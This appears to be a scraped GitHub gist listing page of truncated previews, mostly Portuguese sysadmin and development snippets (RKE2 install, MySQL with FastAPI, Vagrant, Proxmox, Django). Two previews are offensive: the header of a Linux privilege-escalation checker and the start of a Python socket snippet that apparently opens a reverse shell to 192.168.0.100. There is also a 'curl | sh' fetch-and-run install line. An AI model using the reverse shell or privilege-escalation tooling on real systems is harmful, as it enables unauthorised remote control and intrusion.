curl -sL https://get.rke2.io | sh
systemctl daemon-reload
systemctl start rke2-server
Para criar uma conexão reutilizável com o banco MySQL utilizando FastAPI e Python, você pode seguir os seguintes passos:
-
Instale o pacote
mysql-connector-python
:pip install mysql-connector-python
-
Crie um arquivo
database.py
que irá conter uma função para criar a conexão com o banco de dados e retornar uma conexão do pool de conexões. Esse arquivo pode ser utilizado em múltiplos arquivos, caso seja necessário.
import mysql.connector
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
lista-vms () { | |
echo "###############################" | |
echo "VMS existentes: " | |
VBoxManage list vms | |
echo "" | |
} | |
lista-discos () { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- mode: ruby -*- | |
# vi: set ft=ruby : | |
#Variável para ficar bonitinha... | |
#Brincadeira, caso o seu provider nao seja o virtualbox, troque aqui!!!! | |
VAGRANT_VM_PROVIDER = "virtualbox" | |
#Versão do Vagrantfile | |
VAGRANTFILE_API_VERSION = "2" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
########################################################### | |
# CONFIGURANDO O PROXMOX PARA RESPONDER APENAS LOCALMENTE # | |
########################################################### | |
echo -e "ALLOW_FROM="127.0.0.1"nDENY_FROM="all"nPOLICY="allow"" > /etc/default/pveproxy | |
sed -i -e "s|port => 8006,|port => 8006,nhost => "127.0.0.1",|" /usr/bin/pveproxy | |
/etc/init.d/pveproxy restart | |
/etc/init.d/pveproxy status | |
apt-get update | |
apt-get install apache2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
################################################### | |
## Isto é a parte das configurações (settings.py) # | |
################################################### | |
from django.conf import settings | |
settings.configure( | |
DEBUG=True, | |
SECRET_KEY='thisisthesecretkey', | |
ROOT_URLCONF=__name__, | |
MIDDLEWARE_CLASSES=( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use strict; | |
use warnings; | |
########################## | |
# Banco de dados local # | |
########################## | |
use DBI; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/env python | |
############################################################################################################### | |
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script | |
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift | |
##------------------------------------------------------------------------------------------------------------- | |
## [Details]: | |
## This script is intended to be executed locally on a Linux box to enumerate basic system info and | |
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text | |
## passwords and applicable exploits. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, subprocess | |
def connect(): | |
ip = "192.168.0.100" | |
port = 6000 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
while True: | |
command = s.recv(1024) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
app-lb: | |
ports: | |
- 80:80 | |
labels: | |
io.rancher.scheduler.affinity:host_label: server=proxy | |
io.rancher.loadbalancer.target.result: result.app:80=80 | |
io.rancher.loadbalancer.target.vote: vote.app:80=80 | |
tty: true | |
image: rancher/load-balancer-service | |
links: |
NewerOlder